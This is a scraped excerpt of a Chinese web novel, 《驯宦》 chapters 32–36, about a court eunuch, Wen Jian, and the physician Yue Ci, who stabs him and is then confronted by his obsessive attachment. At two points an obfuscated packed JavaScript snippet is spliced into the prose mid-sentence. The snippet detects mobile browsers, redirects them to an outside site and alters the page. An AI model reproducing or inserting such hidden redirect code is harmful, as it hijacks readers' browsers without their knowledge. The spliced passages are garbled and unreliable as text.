《驯宦》 32. 闻鉴 闻鉴呼吸重了几分,知道她是故意的,便又一次恢复沉默,心神却已和这棋局一样乱。 见他再次装聋作哑,月慈笑意稍稍收敛,信步过来坐到他的对面,手里兀自扬起那张信纸欣赏。 故意道:“掌印画工不错,改日不妨也教教我,如何将这一只只的‘螳螂’画得如此传神。” 没有几个人敢这样在他面前光明正大的嘲笑挑衅。 闻鉴脸色更黑,久违地冒出一股子火气,从月慈手里劈手夺过信纸,凑到燃烧着的蜡烛前。 火舌舔过信纸,他手中燃着一团炙热的火,嗓音是格格不入的冷:“你以为谁都跟你一样,自小就有人教么。” 月慈一怔。 而闻鉴也在话脱口而出的一瞬自知失言,动作僵住,那信纸的火焰便顺着舔到了他的指尖。 滚烫,刺痛,连带着勾起了某些回忆。 月慈见他烧了手还在发呆,眉头顿时一紧,一掌过去将那团火拍开。 闻鉴回过神来,垂眸。 白皙的指腹被烧得红了,还沾着点黑灰。 月慈见他这副模样,显然心中压着事。若是换做旁人,她大概会打个哈哈将此事揭过,但眼前的人是闻鉴,她既好奇,又恶劣的想要故意去戳他的那点痛。 于是问:“掌印在入宫前,父母竟也不曾教你习字么?” 旧事于脑海浮现,闻鉴反倒意外的平静下来,抬手拿过搁置在旁边的巾帕,慢条斯理擦着指腹的那点黑灰。 不紧不慢道:“咱家自小便生在宫中,没人能教咱家习字。” 月慈大惊:“生在宫中?这怎么可能!” 皇宫里除了皇帝的妃嫔们,其她女子怀有身孕都是大罪,如果闻鉴在宫里出生长大,那他的父母…… 月慈原本只是想刻薄地笑话他几句,却没想到一下子挖出了不得了的东西。 闻鉴并没有为她解释其中缘由,将脏污的巾帕随手丢在一旁,随口道:“没什么不可能的,不过为了活下去要藏得好些罢了,偶尔听见文书房里皇子公主们的读书声,来了兴致,就自己拿树枝在地上写写画画。” 他既没亲眼见过那些字,又怎知如何写,不过是凭着感觉摸索着字的形状。听着像什么,便画什么。 月慈哑然。 听到这魔头的过往经历,本该大笑起来道一声活该的,却不知为何一点都笑不出来。 闻鉴却忽地勾唇笑了一下:“啊,咱家忽然想起来,曾经确实有人教过咱家写自己的名字。” 他起身走到书案前,提笔在一张干净的纸上认真写了起来。 月慈默了默,跟了过去。 闻鉴神色无比专注,一笔一划铿锵有力。 他这次的字和之前的不同,端正清隽,逶迤有力,应是练过许多遍,然而月慈怔然望着那两个字,却是眉峰轻蹙,再也笑不出来了。 闻鉴满意收了尾,将笔搁在一旁,提起落了两字的雪纸展开,抖落了一下,像一个骄傲的孩子展示自己最得意的作品。 “看看,写的如何。” 雪纸上黑白分明,写着两个字——野种。 月慈心脏重重抽动一下,抬眸看见闻鉴挂着一脸淡然的笑,忽然觉得有些酸涩。 可她本不该生出这样的情绪。 闻鉴品味着纸上二字,慢慢道:“他们说这二字念作‘闻鉴’,咱家练了许多遍,生怕写的难看,叫人认不出。” 他扭头看向月慈,嘴角是上扬着的,眸中却是死寂一片,“瞧,这回总不像螳螂了吧。” 那时几个太监拿着一根树枝,在地上写下这两个字,告诉闻鉴这是他的名字。 闻鉴觉得欣喜若狂,因此忽略了那些人掩面发出的古怪笑声。 他只想着,虽然自己不能堂堂正正的活在世上,至少名字要落得干净端正。还想着,这名字跟着他应是吃了苦,所以要更努力些,将它写的好看。 他不厌其烦,一遍遍在泥地上写下“闻鉴”,后来才知道,那满地写着的都是恶意的嘲弄。 月慈猛地夺过那张雪纸,送到火前。 她的手中也开出了一团火焰,转瞬雪纸连带着那两个字化成灰烬,散落在地。 闻鉴眼底闪过一瞬的讶然:“你这是干什么?” 她这么厌恶他,此刻不该和那些太监一样觉得好笑么?怎么脸上一点笑都没有,反倒看上去有点生气? 闻鉴心中生出了几分茫然。 月慈亦是如此。 茫然在于冲动过后的反思,她觉得自己本不该生出这样的情绪,却遏制不住。 心里有个声音在呐喊:错了错了!不该是这样的! 可溢到了嘴边却变成:“你不是要我学袖箭么,那你教我习武,我教你别的。” 闻鉴彻底愣住,那点翘起的唇角顷刻塌了下去。 如果换做儿时的闻鉴,也许他会很高兴。 但这句话来的太晚了。 对于现在的掌印来说,他已经什么都不需要了。 闻鉴唇角绷直,恢复了往日常色,道:“不必了。” 月慈却道他还在气自己,皱眉道:“小气鬼,不就笑了你两声吗?有什么好生气的。” 闻鉴面无表情,朝窗边的罗汉床走去:“没有。” 他坐了回去,收拾乱掉的棋局,想将下错了的棋子撤回去。 月慈跟在身后:“那就是在气昨晚。” 她道,“明明是你说给我一个杀你的机会,真动手了你又不高兴,堂堂掌印就是这么言而无信的吗?” 闻鉴皱眉,发现这乱掉的棋局是无论如何都回不去了,心中一时烦躁,知道月慈是误会了什么,却也不打算解释。 只道:“没有不高兴。” 他本就打算死在她手上,便不会因此生怨。 月慈静静盯着对方,平直的嘴角,毫无波澜的情绪,就像是偷吃了糕点后却在嘴角留下痕迹,然后面无表情地撒谎。 一个爱撒谎的骗子,这个时候却能一眼让人洞出真假。不过看他这副样子,比起平日倒有趣许多。 月慈心头抽动了一下,她目光垂落,想起先前青雀的话:“把手伸出来。” 闻鉴下意识动了一下手,反应过来后却固执地将手拢进了袖子里。 这回轮到月慈不高兴,并未说话,只是静静盯着他。 男人脸色比昨两天看着更加惨淡,透着点青白,眉眼却是墨一般隐晦。 闻鉴:“……” 两人僵持片刻后,他缓缓将手从袖中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15070451|163174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伸了出来,乖乖递到月慈面前。 其实有时候连闻鉴自己也觉得纳闷。 明明他已经恢复了五感,不再是先前那个会被揉圆搓扁的人,月慈的银针再也伤不了他,他也无需再听她的话,然而自己却是会下意识地顺从那一道道的指令,像是成为了一种肢体习惯。 他这一生都活在“听话”中,该是最讨厌命令的,可偏偏觉得听她的话没什么不好。 月慈先是见到那只手上的红痕,像是一块上好的白玉莫名多了瑕疵,她目光流露出一点连自己都未曾察觉的不满,然后伸手探上他的脉搏。 不知道之前为他诊治的大夫有没有说过,那些毒会随着他的情绪波动而发作。以往还在慈悲村的时候,月慈会在他的药膳中加入解药压制,但离开了她,他又不肯解毒,这些毒便在他体内肆无忌惮摧残着他。 月慈眸光流转,收回手的同时将此事咽回肚子里。 他既自寻折磨,她才懒得管呢。 只道:“一时半会死不了。” 闻鉴重新将手收回袖袍里,随口道:“死不死的,没什么所谓,或早或晚的事罢了。” 闻鉴是个大骗子,但这一刻月慈似是分清了,他这句说的是实话。 他想死。 但她却不想他太过容易达成心愿。 于是月慈道:“你既给了我杀你的机会,什么时候死,怎么死,就该听我的。” 闻鉴扬眉看她,等她的下文。 月慈探身,伸手轻轻掐住他的脖颈,迫使男人微微仰头,眼中放光道:“你教我袖箭,日后我便用这袖剑杀了你,于你,于我,都畅快。” 闻鉴眸光亮了亮,似乎是觉得这主意不错。 他搭着眼帘,瞥见那只手上虎口处的一点红痣,嘴唇翕动:“听上去是个好主意。” 月慈勾唇一笑,权当他答应了,便抽了手要离开,闻鉴却将那只手捉住,往自己的方向拽了拽。 月慈一时不稳,一手撑在炕几的棋盘上,彻底将那无法拯救的棋局打得更加散乱。几颗黑白的棋子散落,有的掉在闻鉴的衣摆上,有的滚进了黑暗的角落再也不见。 闻鉴忽然觉得有几颗也滚进了他的心里。 月慈不解地盯着他:“又干什么?” 闻鉴胸膛剧烈起伏了一下。 他紧紧攥着她的手,似乎是在斟酌如何开口,犹豫片刻后,却是嗫嚅着低声道:“…我今日没有戴配饰。” 月慈耐心告罄,正要发作,听到这句顿时生出一脸的莫名其妙:“哦,那你戴啊。” 跟她说这个干嘛。 闻鉴:“……” 他骤然松了手,又将嘴角扯的平直,“不送。” 月慈更加觉得莫名其妙。 转身出门,忽地想起什么,顺口对青雀道:“要是不想你家大人出事,就去给他弄点吃的,忌辛辣,少油盐,随便弄碗粥就行。” 青雀道:“大人他没胃口……” 月慈下楼,头也没回:“他会吃的。” 秋夜里的风寒凉,回去院子的路上月慈打了个喷嚏,忽然脚步顿了一顿,后知后觉反应过来闻鉴的意思。 “原来说的是香囊吗?” 这傻子,直说不行么,非得拐弯抹角。 34. 乱心 月慈跟着打了一段时间的基础后,闻鉴总算说她可以进入下一阶段,正式开始学身法了。 第二日,月慈坐在廊下等到夜里也不见人来,偏偏初一不知道飞到了哪去偷懒,刚想唤人去问,便见麻雀带着消息来。 麻雀道:“掌印今日身体不适,已经早早歇下了,特向姑娘告假半日。” 月慈沉默一会儿,转身去屋子里拿了什么塞进腰间,随后提步出门:“谁知道是装病还是真病,不予告假,他就算是死了都得爬起来干活。” 麻雀就没见过她这样刁蛮不讲理的,两步追上去喊:“大人是真的病了!” 一时激动忘了规矩,扣住月慈手腕,“你若非得今日学,我教你便是!” “谁稀得你教。”月慈垂眸扫了那只手一眼,不紧不慢道,“不放手我喊人了。” 麻雀:“……” 掌印对这位月姑娘是什么态度,整个飞鸟阁里但凡不瞎的人都能看得出来。月慈若是张嘴添油加醋地乱说些什么话,他就算是长了一百零八张嘴,估计不等开口都能被定下罪名。 一想到会挨罚,麻雀顿时不敢拦了,乖乖将手撤了去。 反正掌印被这月姑娘折腾了那么多回都没死,这次应该也不例外吧。 应该吧…… —— 月慈推开闻鉴的房门,迎面感到一股热浪袭来——屋内点了炭火,温暖如春。 她愣了片刻,心想这还没到冬日,炭火就先点上了? 她先前把过闻鉴脉象,知他阴阳两虚,内有寒症,只是没想到会如此严重。 按理说,不该啊。 除了炭火外,屋内还点了淡淡的熏香,夹杂着一丝药的清苦,床榻上的人睡得正熟,似乎不是装病,而是真病了。 许是时机正好,月慈蓦地想起自己最初的目的,于是心念一动,神色冷了下来,跃跃欲试地拿出袖箭,悄悄靠近。 快到床边时,榻上的人忽然动了动。 月慈吓了一跳,一副做贼的模样僵在原地。 却见闻鉴似乎只是热了,皱眉将手从被褥里伸了出来,又将被子往下蹬了蹬,露出一截就着里衣的胸膛。 他眼睛还是闭着的,很快又发出均匀绵长的呼吸声。 月慈松了一口气。 她曾照顾他数月,知道他爱蹬被子的习惯,下意识走了过去将那只手拉起来准备放回被子里。 然后顿住。 月慈:“……” 现在好像不是干这个的时候吧! 她气急败坏,干脆将那只手一撒,不管了。 默了一会儿,见闻鉴还在睡着,脸色却是不大好看,一张脸红得异常。 不用摸也知道他此刻体温极高,月慈定定看了一会儿后,鬼使神差地伸出手,轻轻触上了那张脸。 闻鉴原本觉得浑身被烈焰包围,炽热灼人却无处可逃,可突然间天降甘霖,清凉的雨水落在脸上,驱散燥热的同时让人忍不住想要靠近,想要更多。 月慈思绪回笼,正准备将手收回,却见闻鉴轻轻地用脸蹭了蹭她,露出一点满足的表情。少了平日里对外的漠然疏离,卸下防备后像是一只……被摸到了脑袋和下巴后因为舒服而一脸餍足的小狗。 月慈何曾见过这样的画面,一时连呼吸都忘了,最后僵了许久,才小心翼翼收回已经麻了的手,从腰间掏出一粒药丸,直接塞进闻鉴嘴里。 末了,盯着那张脸色逐渐缓和的脸,忍不住在心里腹诽一句:什么魔头,病的这么容易,还不如大街上随意提出来的平民百姓呢。 起身要走时,手腕忽然被人一把扣住,回头却见人还睡着,大抵连自己都没意识到。 月慈忍了又忍,瞧着那只抓住自己的手时,却是动了一点别的心思。 有一说一,这家伙的手怎么这么长? 月慈一边告诉自己只是好奇,一边假装听不到若擂的心跳声,蹲在床边,挣脱了那只手,随后将自己的手小心翼翼贴了上去,比对差距。 两掌相并,严丝合缝。 闻鉴的手确实是好看的,劲瘦修长,像白玉雕刻的竹,节节分明,温润干净。 直到两人手掌完全贴合,月慈惊讶看着那比她多出一整个末节的食指和无名指。 这,这合理吗?! 月慈一脸的目瞪口呆。 屋外的风似乎大了,拍在窗棂上发出砰的轻声,月慈猛然回过神,正要将手抽走时,那微凉如玉的五指顷刻扣了下来,将她牢牢禁锢。 月慈抬起眼帘,正对上了一双讳莫如深的眸子,里面蒙着层雾气,似是没睡醒的样子。 月慈感觉心脏在胸腔里重重跳了一下。 闻鉴扫了眼两人交扣的手,慢悠悠道:“把毒下手上了?” 月慈:“。” 高高跃起的心脏忽地重重落了回去,她挣扎将手拽了出来,气急败坏踹了一脚床,“就你这体质,不用我下毒就先死了。” 闻鉴却不吭声,坐起身后将目光落在月慈身上,深色的眸子里似乎闪着一点光:“你的脸怎么红了?” 月慈几乎脱口而出:“还不是因为你这屋子里点了太多炭。”她热得扇了扇风,“你自己蒸着吧!” 说完飞快地掠出了屋子。 直到那道身影消失在视线中,闻鉴才垂眸看了眼自己的手。 哦,她好像……对他的手感兴趣。 —— 闻鉴病好后,月慈按照他教的戴上袖箭,两人在她的院子中比划招式,但不过两招下来,月慈就被扣住了手腕,陷入死局。 闻鉴松开她的手,冷静分析:“其实你是有天赋的,短时间能到此地步已是不易,只不过容易受情绪影响,心浮气躁下,招数难免失了章法。” 月慈问他:“比你还有天赋吗?” 闻鉴温吞地点了头,月慈见他不像撒谎,脸上便绽了点笑。 闻鉴确实没有撒谎,他在习武上没什么天赋,因为小时候身体都被折腾坏了,学武时总是十分坎坷。 月慈比他有天赋多了,然而他不得不泼了一盆冷水。 道:“你的问题不在于练功,而在于练心。” 月慈问:“练心?如何练?” 闻鉴深深看了她一眼:“依照黑鸟卫的训练,练心只有一个字‘打’。将人关在笼子中,丢进恐惧之物,发声者,打;看见心爱之物,情绪变化显然者,打;面对弱小不敢下手者……” 月慈听不下去了,皱着眉打断他:“合着就是不打不成器呗?难怪你们黑鸟卫一个个看着跟鬼一样。” 闻鉴不置可否:“这是为了不让人看出你的弱点。” 打的皮开肉绽,知道痛了,也就记住了。 月慈却道:“那是因为还不够强。足够强的人是没有弱点的,因为他会把威胁的人全都杀死。” 这个答案在意料之外,但从月慈嘴里说出来,又是在情理之中。 闻鉴没有反驳,甚至赞同的点了下头:“你说得对。” 然后道,“明日开始我会忙上一段时间,习武的事就让麻雀教你吧。” 他说有事要忙时眉宇间带着一股冷凝,月慈下意识觉得,他又要杀人取乐了。 到了夜里,月慈听到屋外传来响动,知道是初一那只臭鸟回来了。 自从闻鉴让初一跟着她,初一便常在她这里呆着,这一次却一连消失了几天。 月慈打开窗,抬头望去:“跑哪玩忽职守去了?” 初一正立在枝头梳理自己的毛发,听到声音歪着脑袋看了下来。 月慈竟仿佛从那张鸟脸上看出了几分惊讶,然后它急急扑棱着翅膀飞了下来。 月慈这才发现窗台上躺着一封信,以为是闻鉴送来的,先一步将信拿了起来,初一便在不远处吱呀吱呀乱叫着,似乎想要冲过来抢走她手上的信。 月慈心里多了点疑惑,抬手猛地将窗子合上,初一只能在外面啄着窗户干着急。 她直接将信拆开。 上面的字并不潦草,端正清晰写了一整面,足足有十一页纸。 月慈只看清了刘百会三字。 刘百会就是刘屠户,她的二舅。 月慈顿时凝目细看起内容来。 信上写着: 七月初一,刘百会携其妻参加友人乔迁喜宴;七月初九,刘百会寄信云城,已拦截回复;七月廿二,刘百会山中祭亲…… 一共十一张纸,满满当当全是监视。 不,也许是威胁。 这封信就像是一盆掺了冰块的冷水,将昏了头的月慈浇得彻底清醒过来。 二舅是漠北将军的下属,而当初陷害将军谋反的罪魁祸首正是闻鉴,包括将军出事后对其下属的围剿,也是闻鉴带的头。 闻鉴是想将人抓回去邀功么?还是以此威胁她,又或是有什么其他的阴谋企图。 月慈不敢再细想下去。 魔头还是那个魔头,是她错了。 月慈阴沉着脸,将十一张信纸妥帖收进怀里,然后重重将窗推开,冲外面的初一扬声道:“去告诉闻鉴,我在这里等他回来。” 等他给我一个合理的解释。 —— 闻鉴这几日都住在宫中。 第一日有消息传来,说初一将情报送错了地方,让月慈看见了。闻鉴本想当日返回,可真当车马停在面前时,却又觉得没有必要解释。 他的本意也不是为了讨她欢心,只是求得一死。 后来再有消息传来时,青雀说她在屋里乱砸,还专挑值钱的下手。 闻鉴随口道:“让她砸。” 她就是把飞鸟阁烧了,都没关系。 他住在宫中其实并不是在刻意躲着月慈,只是事物繁忙,加上他有意催化此事,便耽搁了回去的时间。 但不知怎么的心情却是不爽,连自己也说不上原因,甚至于房协之今日不过是在朝堂上驳了他一句,他便失态地直接扬手挥了过去。 要打要骂还是要杀,按理说都该在下朝后,更何况闻鉴鲜少自己动手,都由他人代劳。 直接当着陛下的面动手打人这事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15088195|163174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 换了旁人定是大罪,但皇帝对他十分宽容,甚至宽容的过分。 幕后的人影不过轻描淡写一句:“掌印,你失态了。” 闻鉴装模作样的应和一声,这事便就草草揭过,而众人对他的恐惧和憎恶,便又在心底加了一分。 于是皇帝尉迟泓的目的达到了。 一个深受皇帝宠信,权倾朝野的大佞臣,对有心之人来说是最好的利器。 事后尉迟炯带人将闻鉴拦在宫道,他的身后跟着房协之,两人要干什么,几乎是明眼的事。 尉迟炯的目光扫过他的手,道:“看来掌印的手已经好了,都能在殿内直接动手打人了。皇兄竟也不罚你,难怪母后说你身虽残疾,却是条好用的狗。” 闻鉴手指一蜷,眸底黑的可怕,却是将唇抿直,面不改色地看他:“殿下有话不妨直说。” 尉迟炯笑意更深:“本王护短,你打了本王的人,这笔账该怎么算?” 闻鉴扫了房协之一眼,见他站在尉迟炯身后两眼发亮,像只得志的老鼠般跃跃欲试。 闻鉴心中轻嗤,慢悠悠道:“殿下想如何。” 于是尉迟炯招呼房协之上前来:“来,打回去。” 房协之道:“这样不好吧殿下。”却是按捺不住心中的激动,眉眼都快扬到天上去了。 尉迟炯皱眉道:“如何不好,本王说能就能!有本王在这你怕什么!” 于是房协之走到闻鉴面前,见他身形未动,也没有要抗拒的意思,只当他是怕了,当即抬手朝那张脸上扇去。 “啪”的一声脆响,房协之捂着另外半张脸傻眼了。 闻鉴堪堪收回手重新拢进袖子里,他身量极高,此刻睥睨面前两人神色越发显得倨傲。 尉迟炯反应过来,脸色一变:“闻鉴,你竟敢——” 闻鉴听到这声音,看见这张脸就想起那日。 能活到今日,他早已习惯各种羞辱,也无所谓再多些。但尉迟炯千不该万不该,动了他的东西。 “若是过去便就算了,可咱家既活着回来了,可就容不得殿下糟践。否则咱这等微末之人,不介意跟殿下玩个鱼死网破。” 利益和把柄本就是相互的,他既做了他们的刽子手,手中的东西自然也不少,只是时机未到。 尉迟迥这人不堪大任,背后只有个费尽心机也要扶他上位的母亲,是以他爱玩乐,却也不敢做的太过火。现下只敢用一双戾气森然的眼盯着闻鉴,似是没想到这条狗会有反抗的时候,可面对那满口尖牙,当即却是不敢动手了。 闻鉴心里憋着的那股子气只散了一丁点,是以脸上并未露出多少得意,只是在看见房协之脸上的五指掌印时咧了咧嘴。 随口道:“房大人今日怎的学起姑娘家抹起了腮红,别的不说,倒是很适合房大人。” 房协之脸色一时更加难看,又黑又红。 闻鉴从两人之间径直穿过。 宫道幽长,最后一点斜阳隐没在红墙之后。 这几日关于月慈的消息不断,说她白天练武勤奋刻苦,到了夜里便在后院里研究什么害人的毒药,说她在飞鸟阁里上蹿下跳像是造反,说她…… 从前闻鉴并不觉得飞鸟阁算个什么好去处,于他来说,在哪都一样。但今日他特别想回去,于是招了人来备好马车。 就当是最后一次。 回到飞鸟阁时夜已经深了,闻鉴独自上楼,在推门时顿了一顿,才将门推开。 下人们知道他要回来往往会将灯点上,提前做好一切准备,然而此刻屋内一片漆黑,只有淡淡的熏香气息。 闻鉴在黑暗中慢悠悠地点了烛火,一豆火光骤亮,拉出他身后一道瘦长的黑影。下一刻,一点尖锐的冰凉抵在了他的脖颈处。 此情此景,叫人似曾相识。 月慈的声音和这袖箭一样凉,贴在他的耳侧,却只是问:“为什么要派人监视我的家人。” 闻鉴身形不动,垂眸睨了袖箭一眼,铁器被磨得锋利,在那点微弱烛光的映照下吞吐光华。 他并不怎么在意这东西抵着自己的脖子,倒是颇感欣慰道:“看来我教的不错。” 月慈道:“所以这是了结你的最好工具。” 闻鉴早就在期待这天了,他轻笑着,坦然自若地仰头暴露出柔软的颈部,以便贴合对方。 月慈皱眉:“你就没有一点想要解释的吗?” 闻鉴声音轻轻的,没有要解释的意思:“你既已看到,还有什么好说的。” 他扫了眼紧闭的屋门,“若要动手,动作最好快些,免得又被他人打断。” 月慈忽然被他这模样气到,直接将袖箭刺进他的血肉,嗅到那点铜锈的血腥气,连带着神经也被刺激。 于是咬牙切齿,恶声恶气地抵着他,恨不得将其贯穿:“你以为我当真不敢吗!” 闻鉴品到了刺痛,面色不改,然而他似乎注意到了什么比死亡更有趣的东西。 他感受到袖箭轻微的颤抖,眸光更沉了些,连嗓音也压低了下去:“月慈,你的心乱了。” 35. 归命 月慈呼吸一滞,手腕忽然被对方一把抓住。 袖箭锐利的箭尖一点点离开闻鉴的脖颈,他空出的一只手轻轻搭在箭剑,好看的指尖顺着那点冰凉往前抚去。 月慈身子随之一颤,仿佛那只手此刻正落在她的身上,顿时如被定身般动弹不得,只看见对方那张白玉般的脸在昏黄烛光的映照下显得迷蒙,像是藏在阴暗处的鬼魅。 他慢慢抬起眼帘,月慈看见他漆黑的眸子。 两人四目相对的刹那,闻鉴诱声道:“因为我是你救下的,所以舍不得了么?” “闭嘴!” 月慈如被戳到痛处,恼羞成怒地甩手。 锋利的剑尖堪堪擦过闻鉴的脸,在眼下留下一道暗色的血痕。 可她越是如此,越能证明闻鉴没有说错。 她心软了。 这还是月慈第一次在确定一个目标后却心生动摇,于是愈发觉得此人留不得。 闻鉴平日下那张脸面无表情时总是显得冷清,此刻光线昏暗,他鼻尖的那点黑痣倒成了最勾人的目标。 月慈恢复冷静,目光直直落在他的脸上:“既然如此,那你就去死吧。” 她动作迅速,不带任何迟疑,也不曾留手,直接朝闻鉴刺去。 而闻鉴躲也不躲,任由那截袖剑没入自己的胸口,身形微滞,紧接着胸前开出了一朵昳丽的血花。 在这一刻,月慈从对方的眼中看到了一些说不定道不明的情绪,像是得偿所愿,却又有些恋恋不舍,简直矛盾至极。 可她何尝不是矛盾。 夜至此,烛火暗淡,一切归于沉寂。 —— 原来人死后当真会有走马灯一说,闻鉴看见了一个约莫两三岁的幼童,蜷缩在一张矮桌下,惊恐看着不远处的一名年轻女子。 那是他的生母,穿着一件樱粉的宫女装,面容是几近疯魔般的扭曲,扬手摔碎了一个碗,然后从地上拾起一块碎片,朝他步步逼近。 幼童被女人从桌子下一把抓了出来,她的力气很大,大到他死命挣扎却挣脱不开。 女人的声音像是一条可怖的毒蛇,在他耳边吐着冰凉的信子,可她脸上却在流泪,眼泪滴在幼童的脸上,灼得厉害。 她说:“不要怪娘,娘都是为了你好!像你我这等人,生来注定卑贱,能活下去就很好了,很好了……” 于是幼童放弃了挣扎,只感到下身一热,再没了知觉。 数年过去,当年的幼童已经长到了八岁。 他比同龄人都要瘦矮一些,两颊深深凹陷下去,深陷的眼窝里缀着如墨般的眸子。站在宫门前的雪地里,瘦弱的像只瘟鸡,套着并不合身的太监服。 面前站着一名穿着绯色朝服的男人,约莫三四十的年纪,男孩只知道他姓柳,大家都唤他柳大人。 柳大人将他送到东宫给太子当内侍,进门前对他千叮咛万嘱咐,要他牢记自己的身份,当以一切甚至豁出性命都要保护太子,如此他才能在这宫中活下去。 男孩用点头,记下了,一双眼睛亮晶晶的,只是因为想到不用继续躲躲藏藏,就觉得开心。 彼时,闻鉴透过交错的记忆与男孩对上目光——他是长大后的男孩。 当时的太子尉迟泓对他还算不错,说句僭越的话,两人关系亲密,如同亲兄弟一般。 然而在这肮脏混乱的朝堂之中,金翎想要扶持自己的儿子上位,必先从尉迟鸿身边的人下手,因此闻鉴成为了他们眼中最合适的棋子。 而尉迟鸿将计就计,除此之外也需要一人来处理一些上不得台面的肮脏事。 身居高位者赋予他权利地位,对他宽容备至,只是为了日后献祭。 闻鉴想象过无数次生命的最后,或死在百姓怒而群攻之手,或被扣上所有罪名五马分尸,或是兵变,或是…… 每一次关于死亡的想象都是被选择的命运。 闻鉴第一次在半日闲见到月慈时,起初只是好奇,如果将之放任不管,日后的她会变得如何。 直到三年后他认出她来,见她初心未改,他是欢愉的。 像是终于摸到了一点机会,得以打造一把刺向自己的刀。 心里想着,如果不能改变将死的命运,至少他还能选择死亡的方式。 月慈是他生命的最终栖处。 所以在她刺向自己时,闻鉴坦然接受了命运。 —— 这一夜飞鸟阁中格外死寂,好些大夫一个个地来,却又一个个摇头叹气地离开。 月慈站在遮挡的屏风后,嗅着空气中夹杂的血腥气和苦药味,明明她人站在这里,灵魂却像是飞回了数月前,她从河边将垂死的男人拖回去,为他清理带血的伤口,熬煮续命的汤药。 她垂落在身侧的手握紧了,浑身冰凉紧绷。 后来青雀将她赶了出去,她便站在楼阁下等着,连自己也不知道想要等到一个什么结果。 不知站了多久,天末泛上了一层鱼肚白,月慈才听到楼内传来阵阵难掩的低呼,声音细碎,但从情绪判断,应该是好消息。 月慈那一刺并未留手,且闻鉴本就被毒摧残过,如此情况下竟还能活下来,难免叫她想到是那寺里的佛显了灵。 月慈动了动早已僵硬的身子,转了身,正要离去时,麻雀从楼内出来喊住了她。 麻雀稚嫩的脸上也浮现出了和青雀一般的神色:“姑娘究竟为何一定要置大人于死地?” 站了一夜,月慈嗓音寒凉,像含了把沙,只问:“他情况如何?” 麻雀深深吸了一口气:“大人已经醒了,他……想要见姑娘。” 于是月慈抬脚往楼阁走去。 像是怕她又会伤害闻鉴,麻雀伸手浅拦了一下,道:“虽不知姑娘对大人的敌意从何而来,但麻雀还是想提醒姑娘一句,若大人死了,日后死的人只怕会更多。” 月慈平静地拂开他的手。 她终于绕过了那道屏风,塌上躺着的人面色青灰,只一双眼睛黑沉沉的。 见到月慈,闻鉴摒退了其他人。 青雀离开前恶狠狠剜了月慈一眼,又缴了她的武器。 房门合上,屋内归于平静。 闻鉴冲月慈虚弱地笑了一笑,他的嗓音像是一阵烟雾,轻飘飘的,仿佛随时都会散去:“让你失望了么?” 月慈原本平静的面容忽然有了崩塌的趋势,明明他看上去那般脆弱,踏进了死亡的边界,但那双眸子却依旧炽热,硬生生在她心底烫出了一个洞。 她下意识蹙眉,为了能听清闻鉴的话,她坐到床沿,从腰封中掏出一粒药丸,像之前那样直接 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闻鉴额上暴起青筋,用力闭了闭眼:“原本我该死在一场冬雪中,可柳行云救了我,还将我送到尉迟泓身边,做了他的内侍。可以说,若没有柳行云,闻鉴此人早该死在了二十年前。” 他蓦地笑了起来,面容逐渐扭曲:“但我亲手杀了他,柳行云是我亲手杀的!我亲手杀了我的救命恩人!” 他挣扎着起身,猛地一手扣住了月慈的手腕,胸前缠绕的绷带在激烈的动作中又泛出了血色,而他眼底更是猩红一片,宛如从地狱中逃窜出的恶鬼。 即便身受重伤,他手上力道却极大,一双眼紧紧将月慈望着。 月慈呼吸几近停滞,她听到他的低语,一字一顿如天外巨石砸进了她的心底的空洞中。 “所以,月大夫,你有没有想过我对你,从来就不是感恩……” 月慈被闻鉴的话吓了一跳,下意识想要抽回手,却不能。 如果不是感恩之情,那他为什么要对她言听计从,百般容忍,甚至将自己的命当成玩具,只是为了哄她开心么? 可她不敢深究,也不敢发问,像是害怕得到一个连自己想都不敢想的回答。 “放开我!” 一样的命令式语气,但这次却没有发挥作用,甚至于她慌乱的声线像是将闻鉴眼中的炽热添了把干柴。 闻鉴用力一拽,将月慈拉到自己面前,浓烈的血腥气萦绕在两人之间,他却仿佛只能嗅到对方身上熟悉清冽的香气,便贪婪的在其耳边蹭了蹭。 “从鬼门关又走了一圈回来,我忽地改变了主意。” 月慈被禁锢在他身前,两人之间距离不过一拳,以至于她能感受到闻鉴的呼吸落在她颈侧,潮热的,下一瞬毛茸茸的脑袋贴了上来,她骤然头皮一紧,脊背绷直了。 闻鉴的声音在此刻变得无比清晰:“我给过你机会,要么杀了咱家,要么留在我身边……但你失败了,所以你只剩下了一个选择。” 他欺身而近,月慈顿时感觉肩头一疼。 猛地将人推开,她气急败坏地开口骂道:“闻鉴!你大爷的,你是狗吗!?” 36. 咬痕 月慈虽未经情事,却多少知道一些,闻鉴对她说的话不亚于在她心底留下一片狂轰滥炸。按理说,她本该觉得厌恶,却意外没有,取而代之的是一种连自己都说不清的隐秘之情。 她颇为气恼地看向对方。 闻鉴嘴里残留着一点血腥,看着月慈肩上的血色露出一抹笑容来,像是看见了自己的得意之作。 真好。 “啪”的一声,月慈一巴掌挥将在他脸上:“还能咬人,看来是伤的不够重!” 她起身,理了理慌乱的呼吸,随后看向屋子里的各个地方,像是在寻找一把趁手的武器。 可惜,屋内但凡有致命危险的大抵都被青雀收了起来。 肩头越疼,月慈心里越是憋住一股气。 这个狗东西到底在想什么啊啊啊!!他凭什么咬她!他怎么能咬她! 就在月慈逐渐烦躁时,身后有人蓦地牵住了她的手,与此同时,一个轻飘飘的声音贴着她的后背响起。 